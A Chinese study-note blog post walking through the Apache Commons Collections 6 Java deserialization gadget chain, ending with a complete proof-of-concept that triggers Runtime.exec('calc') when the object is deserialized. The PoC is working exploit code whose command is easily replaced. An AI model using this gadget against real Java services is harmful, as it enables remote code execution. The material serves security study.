CommonCollections6链分析

2023-10-11 15:40

本文主要是介绍CommonCollections6链分析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言

​ 本文参考b站白日梦组长仅做笔记记录,完全跟着他复现,大家可以参考他的视频学习。

Gadget分析

因为只看了cc1可以说cc6利用的是cc1的前半部分,一直到LazyMap.decorate

        Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> map = new HashMap<>();Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

能走到LazyMap其实主要是LazyMap的get方法调用了factory.transform

    public Object get(Object key) {// create value for key if key is not currently in the mapif (map.containsKey(key) == false) {Object value = factory.transform(key);map.put(key, value);return value;}return map.get(key);}

然后再看哪里调用了get方法,发现TiedMapEntry的getValue调用了get方法,只要控制map为LazyMap就可以调用LazyMap.get方法

    /*** Gets the value of this entry direct from the map.* * @return the value*/public Object getValue() {return map.get(key);}

然后还发现TiedMapEntry的hashCode调用了getValue,getValue里面调用了map.get方法,这样链子就通了。

    /*** Gets a hashCode compatible with the equals method.* <p>* Implemented per API documentation of {@link java.util.Map.Entry#hashCode()}* * @return a suitable hash code*/public int hashCode() {Object value = getValue();return (getKey() == null ? 0 : getKey().hashCode()) ^(value == null ? 0 : value.hashCode()); }

这个时候能联想到URLDNS链,HashMap中的readObject调用了hash方法

putVal(hash(key), key, value, false, false);

hash方法又调用了hashCode

    static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}

我们传入的key为TiedMapEntry就可以调用TiedMapEntry的hashCode方法,所以Gadget就出来了

	Gadget chain:java.io.ObjectInputStream.readObject()java.util.HashSet.readObject()java.util.HashMap.put()java.util.HashMap.hash()org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()org.apache.commons.collections.map.LazyMap.get()org.apache.commons.collections.functors.ChainedTransformer.transform()org.apache.commons.collections.functors.InvokerTransformer.transform()java.lang.reflect.Method.invoke()java.lang.Runtime.exec()

poc编写

前半部分用的都是cc1的链

        Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> map = new HashMap<>();Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

TiedMapEntry可以接收两个参数,一个map一个key。

    public TiedMapEntry(Map map, Object key) {super();this.map = map;this.key = key;}
    public Object getValue() {return map.get(key);}

我们要调用LazyMap.get,所以map要传LazyMap,key随意得到

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "Demodd");

然后我们要调用这个TiedMapEntry,先写一个HashMap

HashMap<Object, Object> map2 = new HashMap<>();

最后是要调用hash方法

putVal(hash(key), key, value, false, false);

hash方法调用了那个hashCode

    static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}

我们是要调用TiedMapEntry.hashCode,所以我们要给key赋值,value随意

所以现在的poc为

        Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> map = new HashMap<>();Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "Demodd");HashMap<Object, Object> map2 = new HashMap<>();map2.put(tiedMapEntry,"Demodd");

这个时候会遇到一个问题,就是执行poc也会执行calc.exe。然后我们可以想一下为什么,这就回到了URLDNS那条链

    public V put(K key, V value) {return putVal(hash(key), key, value, false, true);}

执行map2.put的时候会调用hashMap的put方法也会执行 putVal,这样就把咱们的流程走完了,所以我们现在要做的就是不让他执行这个put方法。执行这个put方法其实是一定的,这里我们不能组织,那我们可以更改前面的链,也就是在调用那些transform的地方动手脚,只要时不让他正确执行然后我们后面再把这个地方修改为正确就好。

所以我们可以修改

Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

这里是传了chainedTransformer,我们可以把他修改为别的东西,对这条链执行没有影响的

Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

ConstantTransformer需要接收一个参数,随便赋值就可以。

然后我们怎么把这个改回去呢,我们可以看看LazyMap.decorate

public static Map decorate(Map map, Factory factory) {return new LazyMap(map, factory);}

第二个参数是调用了factory,跟进一下

  protected final Transformer factory;

是一个protected,所以我们只能通过反射修改他的值

Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);

现在的poc为

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CommonCollections6 {public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> map = new HashMap<>();Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "Demodd");HashMap<Object, Object> map2 = new HashMap<>();map2.put(tiedMapEntry,"Demo");Class<LazyMap> lazyMapClass = LazyMap.class;Field factoryField = lazyMapClass.getDeclaredField("factory");factoryField.setAccessible(true);factoryField.set(lazyMap,chainedTransformer);
//        serialize(map2);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}
}

先序列化再反序列化发现并不能弹出计算器,原因是在执行反序列化的时候map里面已经有Key了,我们可以通过反序列化跟进一下看一下,在map2.put(tiedMapEntry,“Demodd”);这个地方下断点(由于不太会调试所以详细记录下)

image-20220320123637660

image-20220320123655423

单击hash

image-20220320123737555

image-20220320123807133

image-20220320123819580

image-20220320123829858

在这能发现执行了map.put

image-20220320123931923

所以我们要在反序列化之前移除这个key

lazyMap.remove("Demodd");

总poc为

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CommonCollections6 {public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> map = new HashMap<>();Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "Demodd");HashMap<Object, Object> map2 = new HashMap<>();map2.put(tiedMapEntry,"Demo");lazyMap.remove("Demodd");Class<LazyMap> lazyMapClass = LazyMap.class;Field factoryField = lazyMapClass.getDeclaredField("factory");factoryField.setAccessible(true);factoryField.set(lazyMap,chainedTransformer);
//        serialize(map2);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}
}

这篇关于CommonCollections6链分析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/189085

相关文章

Java反序列化漏洞-TemplatesImpl利用链分析

文章目录 一、前言二、正文1. 寻找利用链2. 构造POC2.1 生成字节码2.2 加载字节码1)getTransletInstance2)defineTransletClasses 2.3 创建实例 3. 完整POC 三、参考文章 一、前言 java.lang.ClassLoader#defineClass defineClass可以加载字节码,但由于defineClas

Java反序列化漏洞与URLDNS利用链分析

前言 前面学习过 Java 反序列化漏洞的部分知识,总结过几篇文章: 文章发布日期内容概括《渗透测试-JBoss 5.x/6.x反序列化漏洞》2020-07-08JBoss 反序列化漏洞 CVE-2017-12149 的简单复现,使用了 ysoserial 和 CC5 链,未分析漏洞原理和具体利用链原理……《渗透测试-Fastjson 1.2.47 RCE漏洞复现》2020-07-11Fast

Java反序列化-CC4-2-5-7链分析

环境搭建 在之前环境原有代码的基础上,添加这一段代码 <dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.0</version></dependency> CC4链分析 CC4可以拼接动态类的加载字节码或者反射调用

【Java反序列化】CommonsCollections-CC1链分析

前言 好几天没发博文了,偷偷憋了个大的——CC1链分析,手撸了一遍代码。虽然说,这个链很老了,但还是花费了我一段时间去消化吸收,那么接下来,我会简洁的介绍下整个链的利用过程,还有哪些不理解的地方,xdm可以评论区一起讨论学习一下。 环境准备 Apache Commons Collections是Java中应用广泛的一个库,包括Weblogic、JBoss、WebSphere、Jenkins等

超链分析和PageRank

自己整理的一些资料 超链分析 超链分析的基本原理是:在某次搜索的所有结果中,被其他网页用超链指向得越多的网页,其价值就越高,就越应该在结果排序中排到前面。超链分析是一种引用投票机制,对于静态网页或者网站主页,它具有一定的合理性,因为这样的网页容易根据其在互联网上受到的评价产生不同的超链指向量,超链分析的结果可以反映网页的重要程度,从而给用户提供更重要、更有价值的搜索结果。 可是搜索引擎,

Java安全 URLDNS链分析

Java安全 URLDNS链分析 什么是URLDNS链URLDNS链分析调用链路HashMap类分析URL类分析 exp编写思路整理初步expexp改进最终exp 什么是URLDNS链 URLDNS链是Java安全中比较简单的一条利用链,无需使用任何第三方库,全依靠Java内置的一些类实现,但无法进行命令执行,只能实现对URl的访问探测(发起DNS请求),并且不限制Java版本

【Java安全】ysoserial-URLDNS链分析

前言 Java安全中经常会提到反序列化,一个将Java对象转换为字节序列传输(或保存)并在接收字节序列后反序列化为Java对象的机制,在传输(或保存)的过程中,恶意攻击者能够将传输的字节序列替换为恶意代码进而触发反序列化漏洞。其中最经典的反序列化漏洞利用工具——ysoserial,下面就分析学习一下ysoserial中的URLDNS链,以便更好地理解反序列化漏洞。 ysoserial简单分析

ThinkPHP5.0.0~5.0.23反序列化利用链分析

本次测试环境仍然是ThinkPHP v5.0.22版本,我们将分析其中存在的一条序列化链。 一道CTF题 这次以一道CTF题作为此次漏洞研究的开头。题中涉及PHP的死亡绕过技巧,是真实环境中存在的情况。 $payload='';$filename=$payload.'468bc8d30505000a2d7d24702b2cda9.php';$data="<?php\n//0000000

[代码审计][ThinkPHP]Thinkphp3.2.3反序列化利用链分析

文章目录 Thinkphp3.2.3反序列化利用链分析分析利用链 菜鸡在做CTF的时候想深入分析一下,也就产生了这篇文章 Thinkphp3.2.3反序列化利用链分析 分析 首先我们从__destruct方法入手 其他的都是啥如ftp_close之类的没法有效利用,但是在ThinkPHP/Library/Think/Image/Driver/Imagick.class.p

[Java反序列化]JDK7U21原生反序列化利用链分析

文章目录 写在前面利用链JDK7U21原生反序列化利用链分析流程跟踪参考文章 写在前面 这段时间看了也跟踪了CC链,CB链,也跟踪调试了shiro的两个链子,XMLDecoder等,就用JDKK7U21原生反序列化利用链来暂时结束下最近的学习 利用链 LinkedHashSet.readObject()LinkedHashSet.add()...TemplatesImpl.h